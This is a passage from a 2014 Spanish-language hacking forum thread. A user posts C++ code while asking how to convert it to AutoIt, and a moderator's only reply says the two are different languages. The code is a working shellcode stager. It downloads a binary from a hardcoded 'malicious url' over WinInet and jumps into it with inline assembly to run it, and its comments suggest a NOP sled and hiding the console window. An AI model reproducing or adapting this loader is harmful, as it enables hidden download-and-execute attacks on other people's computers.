elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  error al compilar en autoit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: error al compilar en autoit  (Leído 2,038 veces)
StevenKhooks

Desconectado Desconectado

Mensajes: 9


Ver Perfil
error al compilar en autoit
« en: 4 Agosto 2014, 05:42 am »

Hola a todos tengo un problema al compilar el siguiente codigo en C++ a autoit

Código:


    //include library wininet this have a funtions InternetOpen(),InternetOpenUrl(),InternetReadFile(),InternetCloseHandle(),
    #include <windows.h>
    #include<iostream>
    #include<cstring>
    #include<Wininet.h>
    using namespace std;
    //this is a buffer with shellcode data in .bss section
    unsigned char DataReceived[500];
    int main(){
        int i;
        //this configure a HTTP agent to surf
      HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
        //if for validate connection.
       if(!connect){
          cout<<"Connection Failed or Syntax error";
          return 0;
       }
     //Open a malicious url
    HINTERNET OpenAddress = InternetOpenUrl(connect,"http://192.168.16.2/ascii.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
     
     //this check the handler for URL
       if ( !OpenAddress )
       {
          DWORD ErrorNum = GetLastError();
          cout<<"Failed to open URL \nError No: "<<ErrorNum;
          InternetCloseHandle(connect);
          return 0;
       }
     
     
       DWORD NumberOfBytesRead = 0;
       
       //this recovery a file on server and save data into DataReceived
       while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
       {
       //this print the data in format \x00 you can delete this routine
       for(i=0;i<sizeof DataReceived; i++ ){
                       
                       printf("\\x%02x",DataReceived[i]);
                         
                        }
       /*this routine is a other implementattion of shellcode-test but in this routine i use  __asm () directive for call asm intrucctions.
       1)first i store a pointer to buffer in EAX register
       2)push eax, Pointer to DataReceived in stack now esp point to first 4 bytes of shellcode
       3)the ret instruction put the value of esp+4 into eip and pass the execution.
       4)finally the shellcode in DataReceived is executed
       5)all handler is closed.
       NOTA:
            you can put a nopsled before shellcode for estabilish execution .
            use freeconsole for hidden a Dos Windows
       */
    __asm ("lea _DataReceived, %eax");
    __asm ("push %eax");
    __asm ("ret");
       }
     
       InternetCloseHandle(OpenAddress);
       InternetCloseHandle(connect);
     
       return 0;
    }




En línea

of Belfort
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: error al compilar en autoit
« Respuesta #1 en: 4 Agosto 2014, 07:59 am »

tengo un problema al compilar el siguiente codigo en C++ a autoit

¿Y esperas que te adivinemos el problema y el mensaje de error de compilación, o piensas tener el detalle de explicarlo?.

De todas formas no es necesario, con tu pregunta te estás respondiendo a ti mismo, C++ y AutoIt son dos lenguajes distintos.

PD: Esto me recuerda a otro mensaje que publicaste, sin detalles necesarios y sin respuesta por tu parte: http://foro.elhacker.net/net/help_gui-t416628.0.html;msg1949188#msg1949188

Saludos.


En línea

StevenKhooks

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: error al compilar en autoit
« Respuesta #2 en: 12 Agosto 2014, 19:57 pm »


http://imgur.com/EcOJvHF
esperare tu repuesta
« Última modificación: 12 Agosto 2014, 20:01 pm por StevenKhooks » En línea

of Belfort
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error al compilar
Programación Visual Basic
newbY 2 1,787 Último mensaje 9 Noviembre 2007, 13:40 pm
por newbY
me da error al compilar
Programación Visual Basic
elguast 2 1,770 Último mensaje 29 Junio 2008, 11:54 am
por elguast
Error al compilar un BAT a EXE « 1 2 »
Scripting
xXEsEtUlOnXx 10 7,601 Último mensaje 26 Julio 2008, 02:19 am
por morenochico
Error al compilar en AUTOIT Necesito Ayuda!!!
Scripting
markus_bitman 9 7,419 Último mensaje 1 Febrero 2010, 14:06 pm
por bolivianito
Error AutoIt con binarios originales [Ayuda]
Análisis y Diseño de Malware
VanHelsing810 1 2,831 Último mensaje 28 Noviembre 2014, 18:04 pm
por x64core
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines